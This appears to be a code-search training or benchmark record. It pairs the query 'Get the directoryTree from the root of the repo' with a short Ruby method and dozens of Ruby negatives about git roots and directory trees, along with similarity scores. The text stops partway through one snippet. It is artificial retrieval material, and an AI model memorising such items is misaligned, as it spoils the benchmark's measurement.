[ "0.7530419", "0.74958473", "0.72060055", "0.6964545", "0.6776728", "0.67538995", "0.6713307", "0.66962284", "0.66883403", "0.6598972", "0.6598972", "0.6587917", "0.6561075", "0.64950204", "0.64334995", "0.63454765", "0.6328808", "0.63177216", "0.6293933", "0.6289538", "0.62806666", "0.62760556", "0.6250778", "0.62484473", "0.62431943", "0.62351763", "0.62284863", "0.62284863", "0.622185", "0.6141621", "0.6132149", "0.6130172", "0.61297405", "0.61297405", "0.6122074", "0.6122074", "0.6102795", "0.60830224", "0.60756534", "0.6073827", "0.6061624", "0.6055234", "0.6051876", "0.6051876", "0.6051876", "0.6051876", "0.6051876", "0.6051876", "0.60336214", "0.60327303", "0.60245913", "0.60203195", "0.60169274", "0.60169274", "0.6013125", "0.6008505", "0.6004649", "0.5996867", "0.5990841", "0.59747267", "0.5963291", "0.596065", "0.5936147", "0.59333915", "0.59333915", "0.5896027", "0.588866", "0.5888474", "0.5874332", "0.5868017", "0.5859932", "0.5859932", "0.58542085", "0.5846747", "0.58391905", "0.5838646", "0.5833087", "0.58183885", "0.5785923", "0.57854694", "0.5783274", "0.5774211", "0.5773456", "0.575293", "0.5742035", "0.573073", "0.57217324", "0.5718248", "0.5711541", "0.5709284", "0.5695624", "0.5686713", "0.568657", "0.56827337", "0.56709486", "0.5668505", "0.5661308", "0.56541634", "0.563925", "0.5627591" ]
0.746727
2
Include an Octicon! (see
def octicon(name) %(<span class="octicon octicon-#{name}"></span>) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def octicon(name, options)\n content_tag :svg, options do\n content_tag :use, '', 'xlink:href' => \"#icon-#{name}\"\n end\n end", "def rocticon_css(symbol, parameters = {})\n octicon = ::Octicons::Octicon.new(symbol, parameters.merge({xmlns: 'http://www.w3.org/2000/svg'}))\n [:width, :height].each {|option| octicon.options.delete(option)}\n octicon.to_svg\n end", "def pencil\n h.octicon('pencil').html_safe\n end", "def icon\n if active\n expr.descending ? '&#9660;' : '&#9650;'\n end\n end", "def symbol_icon(icon, **opt)\n icon = icon_definitions.dig(icon, :icon) if icon.is_a?(Symbol)\n super(icon, **opt)\n end", "def icon\n tag.span(\"\", class: \"icon\")\n end", "def icon\n content_tag(:span, \"\", class: \"icon\")\n end", "def IconKNEELING(hash={}); icon_parse(' GH ', hash); end", "def iconify(label, icon, options = {})\n \"#{ icon(icon, options) } #{ label }\".strip.html_safe\n end", "def iconify(label, icon, options = {})\n \"#{ icon(icon, options) } #{ label }\".strip.html_safe\n end", "def cheri_icon\n @cheri_icon ||= get_icon('cheri_icon_16x16.png')\n end", "def inki_icon\n\t\t\t@inki_icon\n\t\tend", "def indirect_artsy\n puts \"Congratulations! Your feminist icons are Maya Angelou and Dianne Von Fustenburg!\"\nend", "def oct() end", "def icon\n \"#{data_content_type.gsub(/[\\/\\.]/,'-')}.png\"\n end", "def icon\n \"#{data_content_type.gsub(/[\\/\\.]/,'-')}.png\"\n end", "def icon\n\t\timage+'.png' rescue 'pushpin.png'\n\tend", "def icon\n options[:icon] || (traits.slice!(0).to_s if traits.first.is_a?(String))\n end", "def text_with_icon(text, icon_name)\n raw(\"#{icon(icon_name)} #{text}\")\n end", "def icon_link text, icon\n \"#{content_tag(:i, '', :class => \"#{icon}\")} #{text}\".html_safe\n end", "def icon( kind = :blank, options = {} )\n kind = ICONS.fetch(kind, kind.to_s.gsub(/_/, '-'))\n options[:class] = [ 'glyphicon', \"glyphicon-#{kind}\", options[:class] ].compact\n content_tag(:i, '', options)\n end", "def cli_icon_prefix\n ((/darwin/ =~ RUBY_PLATFORM) != nil) ? \"#{FOLDER_SYMBOL} \" : \"\"\n end", "def icon\n @icon\n end", "def icon\n self.number\n end", "def raw\n parse_icon(@name, @options)\n end", "def year_icon\n wrap_with :span, fa_icon(\"calendar\"), class: \"pr-1\"\n end", "def icon\n image_tag( \"tags/#{ @name }.png\" , :height => 8 )\n end", "def icon\n img :src => $imgHostURL + \"/\" + $iconImg\n end", "def icon\n \"dp_icons/%.3d.gif\" % id\n end", "def icon ; @phase_shift ? 280 : nil ; end", "def the_icon\n icon.sub(/^icon\\-/, 'fa fa-')\n end", "def drawIcon _obj, _args\n \"_obj drawIcon _args;\" \n end", "def icon( name, opts = {} )\n icon_family = name.split('-').first\n icon_class = \"#{icon_family} #{name} #{opts[:class]}\"\n tag :i, \"\", opts.merge( class: icon_class )\nend", "def icon(name)\n content_tag :div,(content_tag :div, '', :class => name), :class => 'ico'\n end", "def render_icon(icon)\n icon_map = {create: 'fas fa-add', update: 'fas fa-save', list: 'fas fa-list', show: 'fas fa-eye',\n hide: 'fas fa-eye-slash', delete: 'fas fa-trash', remove: 'fas fa-times', add: 'fas fa-add'}\n icon = icon.is_a?(String) ? icon : icon_map[icon]\n icon.nil? ? '' : '<span class=\"' + icon + '\"></span>'\n end", "def icon action = 'ruby'\n loader = @main.get_class.get_class_loader\n stream = loader.get_resource_as_stream(\"/com/moneydance/modules/features/ruby/#{action}.gif\")\n bytes = stream.to_io.read.to_java_bytes\n java.awt.Toolkit.default_toolkit.create_image(bytes)\n end", "def icon_label(icon_name, text = nil, options = {})\n res = icon(icon_name, options)\n res += html_safe_for_str(\"&nbsp;#{text}\") unless text.blank?\n res\n end", "def output_image\r\n @icon.each do |data|\r\n puts data.join\r\n end\r\n end", "def icon_ok\n icon('ok')\n end", "def icon\n return 'ban' if cancelled?\n return 'pencil' if incomplete?\n return nil if concluded?\n return 'question-circle' if current?\n fully_shipped? && 'exclamation-circle' || 'truck'\n end", "def line_image\n \"%s%s%s %s%s%s %s%s%s\" % POT.collect{ |i| own(i) }\n end", "def icon_btn_text(text, glyph_icon, opts={})\n right_icon = opts[:right_icon]\n # glyph_icon kerning tweak.. :P\n padding = glyph_icon == 'plus' ? 0 : 2\n glyph_icon = 'ok' if glyph_icon.is_a? TrueClass\n glyph_icon = 'remove' if glyph_icon.is_a? FalseClass\n %{#{text if right_icon}<i class=\"icon-#{glyph_icon}\" style=\"opacity:#{opts[:opacity]||'0.4'};padding-#{right_icon ? 'left' : 'right'}:#{padding}px;\"></i>#{text unless right_icon}}.html_safe\n end", "def icon_title\n I18n.t(\"titles.documents.#{type.to_s}\")\n end", "def icon\n if !corrected\n return dash_icon\n else\n if star\n return star_icon\n elsif score == 7\n return v_icon\n else\n return x_icon\n end\n end\n end", "def write_with_icon(index, s, icon, n = nil)\n rect = item_rect_for_text(index)\n rect.width -= 20\n rect.x += 22\n change_color(normal_color, enabled?(index))\n draw_text(rect, s.to_s)\n draw_icon(icon, rect.x-22, rect.y, enabled?(index))\n draw_text(rect, n, 2) if n\n end", "def icon( kind = :blank, options = {} )\n kind = ICONS.fetch(kind, kind.to_s.gsub(/_/, '-'))\n options[:class] = [ 'fa', \"fa-#{kind}\", options[:class] ].compact\n content_tag(:i, '', options)\n end", "def generate_entry(character, information)\n animated_file = \"svgs/\" + character.ord.to_s + \"_animated.svg\"\n\n return character + \"\\tA\\t\\t\\t\\t\\t\\t\\t\\t\\t\" + animated_file + \"\\t\" + information + \"\\thttps://en.wiktionary.org/wiki/\" + character\nend", "def draw_icon(icon_index, x, y, enabled = true)\n bitmap = Cache.system(\"Iconset\")\n rect = Rect.new(icon_index % 16 * line_height, icon_index / 16 * line_height, line_height, line_height)\n @info.blt(x, y, bitmap, rect, enabled ? 255 : 128)\n end", "def symbol_icon(icon, css: '.symbol', **opt)\n opt[:'aria-hidden'] = true unless opt.key?(:'aria-hidden')\n prepend_css!(opt, css)\n html_span(icon, opt)\n end", "def render_icon(icon_class)\n content_tag('span', '', :class => \"icon #{icon_class}\")\n end", "def draw_icon(line, graphic_name)\n return if line <= 0\n y = 32 * line - 32\n bitmap = RPG::Cache.picture(graphic_name)\n rect = Rect.new(0,0,bitmap.width,bitmap.height)\n self.contents.blt(0, y, bitmap, rect)\n end", "def admin_icon(icon)\n icon = \"#{icon}.png\" unless icon.to_s.include?('.')\n tag(:img, nil, { :src => \"/images/admin_icons/#{icon}\", :class => 'icon' })\n end", "def icon_borrar\n \"<i class='glyphicon glyphicon-remove' style='color:#F50A19;size:12px'></i>\".html_safe\n end", "def icon\n if file_content_type.include? 'pdf'\n \"icon_pdf.png\"\n elsif file_content_type.include? 'xls'\n \"icon_excel.png\"\n elsif file_content_type.include? 'doc'\n \"icon_doc.png\"\n else\n \"icon_unk_type.png\"\n end\n end", "def set_default_icon\n self.icon ||= \"instruments/#{self.description.downcase.gsub(/\\s/, '_')}.png\"\n end", "def ✘\n \"{r{✘}}\"\n end", "def document_icon(document)\n ext = File.extname(document.name).gsub('.', '')\n Koi::Asset::Document.icons.has_key?(ext) ? Koi::Asset::Document.icons[ext] : Koi::Asset.unknown_image\n end", "def pch_oct(val=@note)\n pch = val % 12\n oct = (val / 12) - 1\n \"#{PITCHES[pch]}#{oct}\"\n end", "def icon\n if !layer.icon.nil?\n layer.icon.image.url(:smaller)\n end\n end", "def render_entity(entity)\n print \"\\033[#{entity.y};#{entity.x}H\\033[0;33m#{entity.icon}\"\n end", "def kase_type_icon_tag(kind, options={})\n div_tag('&nbsp;', {:class => \"kaseTypeIcon#{kind.to_s.camelize}\"}.merge(options))\n end", "def fineline_icon(name)\n image_tag( \"/images/fineline/icons_16/#{name}.png\", :class => 'fineline_icon_pic' )\n end", "def format_icon_path format\n return 'icons/'.concat(format).concat('.png')\n end", "def draw_text_icon(line, string, graphic_name)\n return if line <= 0\n draw_icon(line, graphic_name)\n y = 32 * line - 32\n self.contents.draw_text(35, y, @width, 32, string)\n end", "def display\n type == :pawn ? \"\\u2727\" : \"\\u272A\" # ✧ / ✪ - Ⓞ Ⓚ ⓵\n end", "def make_emoticon image, alt\n '<img src=\"' << escape_html(\"/emoticons/#{image}.png\") << '\" alt=\"' << escape_html(alt) << '\" title=\"' << escape_html(alt) << '\"/>'\n end", "def add_icons\n icon_path = 'assets/images/icons/'\n s = add_apple_icons(icon_path)\n b = '<link rel=\"icon\" type=\"image/png\" sizes=\"'; j = %(\" href=\"#{icon_path})\n s + %(\n #{b}192x192#{j}android-icon-192x192.png\">\n #{b}32x32#{j}favicon-32x32.png\">\n #{b}96x96#{j}favicon-96x96.png\">\n #{b}16x16#{j}favicon-16x16.png\">\n <link rel=\"manifest\" href=\"#{icon_path}manifest.json\">\n <meta name=\"msapplication-TileColor\" content=\"#ffffff\">\n <meta name=\"msapplication-TileImage\" content=\"#{icon_path}ms-icon-144x144.png\">)\nend", "def icon\n image_tag(\"/assets/valhalla/#{icon_file_name}\", alt: @visibility, class: \"label-icon\")\n end", "def icon\n respond_to do |format|\n if @package.present?\n format.png do\n send_file @package.icon.photo.path, :url_based_filename => true, :type => \"image/png\", :disposition => \"inline\"\n fresh_when :etag => @package, :last_modified => @package.created_at.utc, :public => true\n end\n else\n render page_not_found\n end\n end\n end", "def status_icon(status)\n image_tag(status_png(status), :class => 'status_icon', :border => 0, :title => status.to_s)\n end", "def icon()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.Segment_icon(@handle.ptr)\n result\n end", "def image\n \"icon.png\"\n end", "def icon(filename)\n @attributes.store(:icon, filename)\n end", "def weather_icon(icn)\n case icn\n when 1\n # Sunny\n :\"#9728\"\n when 2, 3, 4\n # Cloudy\n :\"#9729\"\n when 9, 10, 11\n # Rainy\n :\"#9730\"\n when 13\n # Snowy\n :\"#9731\"\n when 50\n # Foggy\n :\"#9729\"\n end\n end", "def render_icon(render_opts={})\n ac = ActionController::Base.new()\n ac.render_to_string(render_opts)\n end", "def render_icon(render_opts={})\n ac = ActionController::Base.new()\n ac.render_to_string(render_opts)\n end", "def show_icon_to(path, options = {})\n glyphicon_to('eye-open', path, {title: 'Show'}.merge(options))\n end", "def icondir ; @icondir ||= './' ; end", "def icon\n return @icon\n end", "def icon_ok ; @icon_ok ||= \"ok.png\" ; end", "def icon_tag key\n content_tag :i, \"\", :class => icons(key)\n end", "def icon(type, args = {})\n args.reverse_merge(\n white: false,\n text: ''\n )\n\n unless type.nil?\n ico = not_in_site_context? ? 'glyphicon' : 'icon'\n icon_class = \"#{ico} #{ico}-#{type}\" + (args[:white] ? \" #{ico}-white\" : '')\n\n if args[:right]\n raw \"#{args[:text]} <i class='#{icon_class}' style='#{args[:icon_style]}'></i>\"\n else\n raw \"<i class='#{icon_class}' style='#{args[:icon_style]}'></i> #{args[:text]}\"\n end\n end\n end", "def include file\n @master.puts \"\\\\i #{file}\"\n end", "def icon(icon, options = {})\n file = File.read(\"node_modules/bootstrap-icons/icons/#{icon}.svg\")\n doc = Nokogiri::HTML::DocumentFragment.parse file\n svg = doc.at_css('svg')\n\n # Add any of Bootstrap's classes, if provided.\n svg['class'] += ' ' + options[:class] if options[:class].present?\n\n doc.to_html.html_safe\n end", "def draw_icon(icon_index, x, y, enabled = true)\n bitmap = Cache.system('Iconset')\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n self.blt(x, y, bitmap, rect, enabled ? 255 : 128)\n end", "def content_icon\n content_icon_path << case self\n when Audio\n \"audio.png\"\n when Music\n \"music.png\"\n when Photo\n \"photo.png\"\n when Video, WebVideo\n \"movie.png\"\n else\n 'doc.png'\n end\n end", "def publish_icon(status)\n icon = status ? \"globe\" : \"file-text\"\n fa_icon icon\n end", "def show\n @icon = MavenJnlp::Icon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @icon }\n end\n end", "def fa_icon(icon)\n content_tag :i, nil, class: \"fa fa-#{icon}\"\n end", "def flag_tag(locale, size = '24x24')\n image_tag(\"locomotive/icons/flags/#{locale}.png\", class: \"flag flag-#{locale}\", size: size)\n end", "def render_plus_minus_icon(expanded, update, url)\n if expanded\n image = \"minus.gif\"\n alt = \"Collapse\"\n else\n image = \"plus.gif\"\n alt = \"Expand\"\n end\n link_to_remote(image_tag(image), :update => update, :url => url)\n end", "def icon\n @manifest_options[:icon] || \"\"\n end", "def parcel_content_type_icon(type)\n link_to image_tag(\"/images/content-type/\"+type+\".png\", :class => 'parcel-icon'), \"/files/type/\"+type\n end", "def setDrawIcon _obj, _args\n \"_obj setDrawIcon _args;\" \n end", "def add_apple_icons(icon_path)\n icons = Dir.glob(\"#{icon_path}apple-icon-[0-9]*.png\").map do |apple_icon|\n icon_size = apple_icon.split('.').first.split('-').last\n %(\n <link rel=\"apple-touch-icon\" sizes=\"#{icon_size}\" href=\"#{apple_icon}\">)\n end\n icons.sort_by{|x| x.split('.').first.split('-').last.split('x').first.to_i}.join\nend", "def flagging\n @title = 'Flags and their meaning'\n @css = 'flags.css'\n end", "def ticker(valor)\n return image_tag \"icons/tick.png\", :title => \"sí\" if valor\n return image_tag \"icons/cross.png\", :title => \"no\" unless valor\n end", "def icon(name)\n content_tag(:span, nil, class: \"glyphicon glyphicon-#{name}\")\n end", "def icon(name)\n content_tag(:span, nil, class: \"glyphicon glyphicon-#{name}\")\n end", "def flag_tag(locale, size = '24x24')\n %(<i class=\"flag flag-#{locale} flag-#{size.gsub('x', '-')}\"></i>).html_safe\n end" ]
[ "0.7008846", "0.6281313", "0.6156053", "0.6120124", "0.60483295", "0.6034941", "0.58948696", "0.58718336", "0.58489734", "0.58489734", "0.5822725", "0.5807627", "0.5795426", "0.57802445", "0.5754399", "0.5754399", "0.5724942", "0.57214034", "0.5697736", "0.56935656", "0.5689029", "0.5686366", "0.56727237", "0.5667768", "0.56638485", "0.5648004", "0.5639236", "0.5636858", "0.5618447", "0.5591741", "0.55912435", "0.558152", "0.5572837", "0.5567779", "0.5563786", "0.55328846", "0.5522287", "0.55082667", "0.5503783", "0.54877865", "0.54838675", "0.5466997", "0.54551643", "0.5448104", "0.5447518", "0.54386526", "0.5427201", "0.5402676", "0.5393553", "0.5384294", "0.5356904", "0.5354969", "0.53456974", "0.5314791", "0.5313922", "0.53086394", "0.5308338", "0.5284723", "0.527908", "0.52775073", "0.52751", "0.52653134", "0.5256604", "0.52465516", "0.52340496", "0.5228769", "0.5228757", "0.52239406", "0.52168894", "0.52137613", "0.5213429", "0.52038383", "0.5191863", "0.5190835", "0.518808", "0.518808", "0.51825494", "0.51768225", "0.51723444", "0.5168366", "0.5162422", "0.51537824", "0.5143469", "0.5141923", "0.5135179", "0.51331604", "0.51199985", "0.5118253", "0.5117564", "0.51129013", "0.51080036", "0.50961107", "0.5093468", "0.5084156", "0.5081184", "0.5078923", "0.5074239", "0.50670207", "0.50670207", "0.5064574" ]
0.75193274
0
Get the directoryTree from the root of the repo
def tree_root repo.tree end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def repository_root\n return unless available?\n root = Licensed::Shell.execute(\"git\", \"rev-parse\", \"--show-toplevel\", allow_failure: true)\n return nil if root.empty?\n root\n end", "def get_svn_repo_root( dir='.' )\n\tinfo = get_svn_info( dir )\n\treturn info['Repository Root']\nend", "def repository_root\n File.expand_path(@repo.path + \"/../\")\n end", "def repo_root(directory = nil)\n directory = File.expand_path('.') if directory.nil?\n return nil unless repository?(directory)\n\n previous_dir = File.expand_path('.')\n Dir.chdir(directory)\n output = command_stdout('git root')\n Dir.chdir(previous_dir)\n output\n end", "def repo_root\n @repo_root ||=\n begin\n result = execute(%w[git rev-parse --show-toplevel])\n unless result.success?\n raise Overcommit::Exceptions::InvalidGitRepo,\n 'Unable to determine location of GIT_DIR. ' \\\n 'Not a recognizable Git repository!'\n end\n result.stdout.chomp(\"\\n\")\n end\n end", "def get_git_dir(path)\n get_dir(path, '', '.git')\n end", "def find_git_root(path)\n\n git_path = nil\n path = Pathname.new(path)\n while( path && !git_path ) do\n current_path = File.join(path,\".git\")\n if File.directory? current_path\n git_path = path\n end\n path = path.parent\n end\n\n return git_path\n end", "def repo_root; end", "def root_path\n @root_path ||= `git rev-parse --show-toplevel`.chomp\n end", "def git_root_till_home\n Pathname.new(Dir.pwd).ascend do |dir_pathname|\n return dir_pathname if File.directory?(\"#{dir_pathname}/.git\")\n return nil if dir_pathname.to_s == home_dir\n end\n end", "def locate_root(dir=Dir.pwd)\n dir = File.expand_path(dir)\n home = File.expand_path('~')\n while dir != home && dir != '/'\n return dir if Dir[File.join(dir, '{.git,.hg,.index,.gemspec,*.gemspec}')].first\n dir = File.dirname(dir)\n end\n while dir != home && dir != '/'\n return dir if Dir[File.join(dir, '{lib/}')].first\n dir = File.dirname(dir)\n end\n nil\n end", "def tree(path)\n root.tree(path)\n end", "def tree(root = '')\n build_hash(files(root), root)\n end", "def root\n return @root if @root\n @root = dir = Dir.pwd\n begin\n dir = File.dirname(dir)\n return @root = dir if File.exist?(File.join(dir, \"#{BASENAME}.rb\"))\n end while dir != '/'\n\n @root\n end", "def git_directory\n @git_directory ||= root_glob(\".{,.,./..,./../..}/.git\").first\n end", "def raw_toplevel\n\t\t\twith_dir do\n\t\t\t\treturn Pathname.new(%x/git rev-parse --show-toplevel/.chomp)\n\t\t\tend\n\t\tend", "def find_repo_dir(here=Pathname.pwd)\n if (here + '.git').exist?\n return here\n else\n find_repo_dir(here.dirname) unless '/' == here.to_s\n end\nend", "def sub_tree\n files = ProjectFile.where(directory_id: id)\n files = files.nil? ? [] : files \n\n files.sort{|x,y| \n if x.is_directory and not y.is_directory\n -1\n elsif not x.is_directory and y.is_directory\n 1\n else\n x.name <=> y.name\n end\n }\n end", "def top_level\n git.git_dir.chomp(GIT_DIR)\n end", "def get_ls(path)\n #repo = @repo\n #head = repo.commits.first\n #tree = head.tree @branch\n\n tree = @repo.tree @branch\n\n #strip trailing /\n path.sub! /[\\/]*$/, ''\n\n # find dir\n while !path.empty?\n tdir = tree / path\n break if tdir.is_a?(Grit::Tree)\n # strip last conponent to /\n path.sub! /(^|\\/)[^\\/]*$/, ''\n end\n\n if path.empty?\n tdir = tree\n else\n path += '/'\n end\n print \"path:\", path, \"\\n\"\n print \"tdir:\", tdir, \"\\n\"\n\n files = tdir.blobs.map do |b|\n { path: \"#{path}#{b.name}\", name: b.name, siz: b.size }\n end\n dirs = tdir.trees.map do |t|\n { path: \"#{path}#{t.name}\", name: t.name}\n end\n if !path.empty?\n dirs.push( { path: path.sub(/(^|\\/)[^\\/]*\\/$/, ''),\n name: '..'} )\n end\n\n [files, dirs, path]\n end", "def repo_dir; end", "def root\n @root ||= Pathname.new(\"#{__dir__}/../../../..\").cleanpath\n end", "def repo_path\n @repo_path ||= Pathname.new(Dir.pwd).descend { |p| break p if (p + '.git').directory? }\n end", "def repo_dir(repo)\n RightScraper::Retrievers::Base.repo_dir(@options[:basedir], repo)\n end", "def top_level\n git.git_dir.chomp(GIT_DIR)\n end", "def get_root_directory\n return @@root_directory\n end", "def get_root_directory\n return @@root_directory\n end", "def raw_tree(path, recursive=false)\n # Note: to construct recursive tree: \n # Tree.allocate.construct_initialize(repo, treeish, output)\n # from repo.git.ls_tree or raw_tree\n sha = path_to_sha(path)\n sha ? git.ruby_git.get_raw_tree( sha, recursive ) : ''\n end", "def repo_path\n @config.get_value('GIT_REPO_ROOT')\n end", "def root\n @root ||= Pathname.new(File.expand_path(\"..\", __dir__))\n end", "def get_tree_sha(dir)\n get_trees['tree'].find { |t| t['path'] == dir }['sha']\n end", "def get_base_tree_for_branch(oauth_token, head_sha)\n client = Octokit::Client.new(access_token: oauth_token)\n client.commit(full_repo_name, head_sha)[:commit][:tree][:sha]\n end", "def tree\n read_repo\n if @branches.count < 1\n render :template => 'repositories/newrepo'\n return\n end\n\n @files = @repository.files(@branch, @path)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repository }\n end\n end", "def lookup_root(dir)\n root = nil\n Dir.ascend(dir || Dir.pwd) do |path|\n check = Dir[ROOT_GLOB].first\n if check\n root = path \n break\n end\n end\n root || Dir.pwd\n end", "def GetDirectoryTreeFromRelativeBase(baseDirectory, excludePatterns=[], excludeEmpty=false)\n tree = GetDirectoryPathsFromRelativeBase(baseDirectory)\n tree.pop() # remove the base directory which is added again in the GetDirectoryTree call\n \n tree.concat(GetDirectoryTree(baseDirectory, excludePatterns, excludeEmpty))\n \n return tree\n end", "def submodule_dirs\n # Implementation is a little hacky; we run a git command and parse the\n # output.\n cmd = %(git submodule)\n %x(#{cmd}).split(/\\n/).map {|line| line.split(\" \")[1] }\n end", "def root\n ProjectFile.find_by(project_id: id, directory_id: nil)\n end", "def root_dir\n existing_paths = root_paths.select { |path| File.exist?(path) }\n if existing_paths.size > 0\n MultiplexedDir.new(existing_paths.map do |path|\n dir = FileSystemEntry.new(name, parent, path)\n dir.write_pretty_json = !!write_pretty_json\n dir\n end)\n end\n end", "def getContentTreeForSubDir(subDir)\n #N Without this we won't know if the relevant sub-directory content tree hasn't already been created\n dirContentTree = dirByName.fetch(subDir, nil)\n #N Without this check, we'll be recreated the sub-directory content tree, even if we know it has already been created\n if dirContentTree == nil\n #N Without this the new sub-directory content tree won't be created\n dirContentTree = ContentTree.new(subDir, @pathElements)\n #N Without this the new sub-directory won't be added to the list of sub-directories of this directory\n dirs << dirContentTree\n #N Without this we won't be able to find the sub-directory content tree by name\n dirByName[subDir] = dirContentTree\n end\n return dirContentTree\n end", "def root\n folders.first\n end", "def raw_gitdir\n\t\t\twith_dir do\n\t\t\t\treturn Pathname.new(%x/git rev-parse --git-dir/.chomp)\n\t\t\tend\n\t\tend", "def dir\n # config.repos_dir + @name\n end", "def tree_root\n if (root_id = visibility_path_ids.first)\n return content_model::Page.get(root_id)\n end\n nil\n end", "def all\n return @raw_repos unless @raw_repos.empty?\n return [Template.root.basename.to_s] if Template.project?\n Template.root.join(Meta.new({}).repos_dir).children.map do |path|\n path.basename.to_s\n end\n\n rescue Errno::ENOENT\n then raise(\n Error::RepoNotFound\n )\n end", "def lookup_root\n root = nil\n Dir.ascend(Dir.pwd) do |path|\n check = Dir[ROOT_GLOB].first\n if check\n root = path \n break\n end\n end\n root || Dir.pwd\n end", "def get_tree_sha\n sha = nil\n trees = open('https://api.github.com/repos/twitter/bootstrap/git/trees/master').read\n trees = JSON.parse trees\n trees['tree'].find{|t| t['path'] == 'less'}['sha']\n end", "def file_tree(root, tree_contents)\n set_pwd = nil\n tree_contents.each do |tree_entry|\n if tree_entry.start_with?('pwd:')\n raise 'Already have a pwd selected' if set_pwd\n tree_entry = tree_entry.sub(/^pwd:/, '')\n raise \"#{tree_entry} is not a directory entry (must end with /), can't use as pwd\" unless tree_entry.end_with?('/')\n set_pwd = true # Set later\n end\n\n # Avoid a simple mistake\n tree_entry = tree_entry[1..-1] if tree_entry[0] == '/'\n\n path = File.absolute_path(tree_entry, root)\n set_pwd = path if set_pwd == true\n\n if tree_entry.end_with?('/')\n FileUtils.mkdir_p(path)\n else\n FileUtils.mkdir_p(File.dirname(path))\n content = if REQUIRABLE_EXTENSIONS[File.extname(path)] == :native_extension\n File.read(SAMPLE_NATIVE_LIB)\n else\n <<-RUBY\n $last_test_tree_file_executed = #{tree_entry.inspect}\n RUBY\n end\n File.write(path, content)\n end\n end\n\n Dir.chdir(set_pwd || '.')\n end", "def root\n File.expand_path(File.dirname(File.dirname(File.dirname(__dir__))))\n end", "def root\n return \".\".expand_path unless app_file?\n return @root if @root\n @guessed_root ||= begin\n dir = app_file.expand_path.dirname\n if dir.basename == \"lib\" and not (dir / \"lib\").directory?\n dir.dirname\n else\n dir\n end\n end\n end", "def getContentTree(baseDir)\n #N Without this, wouldn't have an empty content tree that we could start filling with dir & file data\n contentTree = ContentTree.new()\n #N Without this, wouldn't record the time of the content tree, and wouldn't be able to determine from a file's modification time that it had been changed since that content tree was recorded.\n contentTree.time = Time.now.utc\n #N Without this, the listed directories won't get included in the content tree\n for dir in listDirectories(baseDir)\n #N Without this, this directory won't get included in the content tree\n contentTree.addDir(dir)\n end\n #N Without this, the listed files and hashes won't get included in the content tree\n for fileHash in listFileHashes(baseDir)\n #N Without this, this file & hash won't get included in the content tree\n contentTree.addFile(fileHash.relativePath, fileHash.hash)\n end\n return contentTree\n end", "def tree\n @tree ||= build_tree\n end", "def primary_repo_base_dir\n File.expand_path(\n setting(:relative_path_to_primary_repo),\n base_dir(:rtfile_dir)\n ).sub(/\\/?\\z/, '') + '/'\n end", "def root path\n File.dirname(find_dotjam(path))\n end", "def root\n File.expand_path(File.dirname(__dir__))\n end", "def branch_tree(id, destination = nil)\n res = branch_commit id\n return nil unless res\n if destination\n begin\n item = res.tree.path(destination)\n rescue\n return nil\n end\n return nil if item[:type] != :tree\n return barerepo.lookup(item[:oid])\n else\n return res.tree\n end\n end", "def repo\n @repo ||= Rugged::Repository.discover('.')\n end", "def tree(dir='.')\n output = []\n visit_tree(output, '.', '', '', '', dir)\n output.join(\"\\n\")\n end", "def folder_tree\n parent_folder_id =\n unsafe_params[:parent_folder_id] == \"\" ? nil : unsafe_params[:parent_folder_id].to_i\n scoped_parent_folder_id =\n unsafe_params[:scoped_parent_folder_id] == \"\" ? nil : unsafe_params[:scoped_parent_folder_id].to_i\n\n if unsafe_params[:scopes].present?\n check_scope!\n # exclude 'public' scope\n if unsafe_params[:scopes].first =~ /^space-(\\d+)$/\n spaces_members_ids = Space.spaces_members_ids(unsafe_params[:scopes])\n spaces_params = {\n context: @context,\n spaces_members_ids: spaces_members_ids,\n scopes: unsafe_params[:scopes],\n scoped_parent_folder_id: scoped_parent_folder_id,\n }\n files = UserFile.batch_space_files(spaces_params)\n folders = Folder.batch_space_folders(spaces_params)\n else\n files = UserFile.batch_private_files(@context, [\"private\", nil], parent_folder_id)\n folders = Folder.batch_private_folders(@context, parent_folder_id)\n end\n end\n\n folder_tree = []\n Node.folder_content(files, folders).each do |item|\n folder_tree << {\n id: item[:id],\n name: item[:name],\n type: item[:sti_type],\n uid: item[:uid],\n scope: item[:scope],\n }\n end\n\n render json: folder_tree\n end", "def branch_tree(id, destination = nil)\n res = branch_commit id\n return nil unless res\n return res.tree unless destination\n begin\n item = res.tree.path(destination)\n rescue\n return nil\n end\n return nil if item[:type] != :tree\n barerepo.lookup(item[:oid])\n end", "def root\n File.dirname __dir__\n end", "def root\n File.dirname __dir__\n end", "def root_dir\n superblock.root_dir\n end", "def ls_tree(_tree, namespace=nil)\n files = []\n\n _tree.each do |a|\n name = namespace ? [namespace, a[:name]].join('/') : a[:name]\n\n if a[:type] == :blob\n files << name\n elsif a[:type] == :tree\n files += ls_tree(@repo.lookup(a[:oid]), name)\n end\n end\n\n files\n end", "def project_root\n File.expand_path(\"#{__dir__}/..\")\n end", "def root; Pathname(__dir__).parent; end", "def tree_entry(commit)\n pathname = Pathname.new(path)\n tmp_entry = nil\n\n pathname.each_filename do |dir|\n if tmp_entry.nil?\n tmp_entry = commit.tree[dir]\n else\n tmp_entry = rugged.lookup(tmp_entry[:oid])\n return nil unless tmp_entry.type == :tree\n tmp_entry = tmp_entry[dir]\n end\n end\n\n tmp_entry\n end", "def tree\n # Caution: use only for small projects, don't use in root.\n $title = \"Full Tree\"\n $files = `zsh -c 'print -rl -- **/*(#{$sorto}#{$hidden}M)'`.split(\"\\n\")\nend", "def ls_tree(treeish)\n sandbox do |git,w,i|\n git.run('', :ls_tree, '', {:r => true, :name_only => true}, [treeish]).split(\"\\n\")\n end\n end", "def root\n find_single_directory || @droplet.root\n end", "def folder_tree\n return @folder_tree if @folder_tree\n\n @folder_tree = last_item = FileImport::Sftp::Item.new ''\n\n if root_path != ''\n root_path.split('/').map(&:presence).compact.each do |folder|\n item = FileImport::Sftp::Item.new folder, true, true\n last_item.add item\n last_item = item\n end\n end\n\n input_item = FileImport::Sftp::Item.new 'INPUT', true, false\n last_item.add input_item\n\n current_folder_paths = []\n customers.each do |customer|\n company = customer.company.gsub(/[\\\\\\/\\:\\?\\*\\\"\\|&]/, '').strip\n journal_names = customer.account_book_types.order(name: 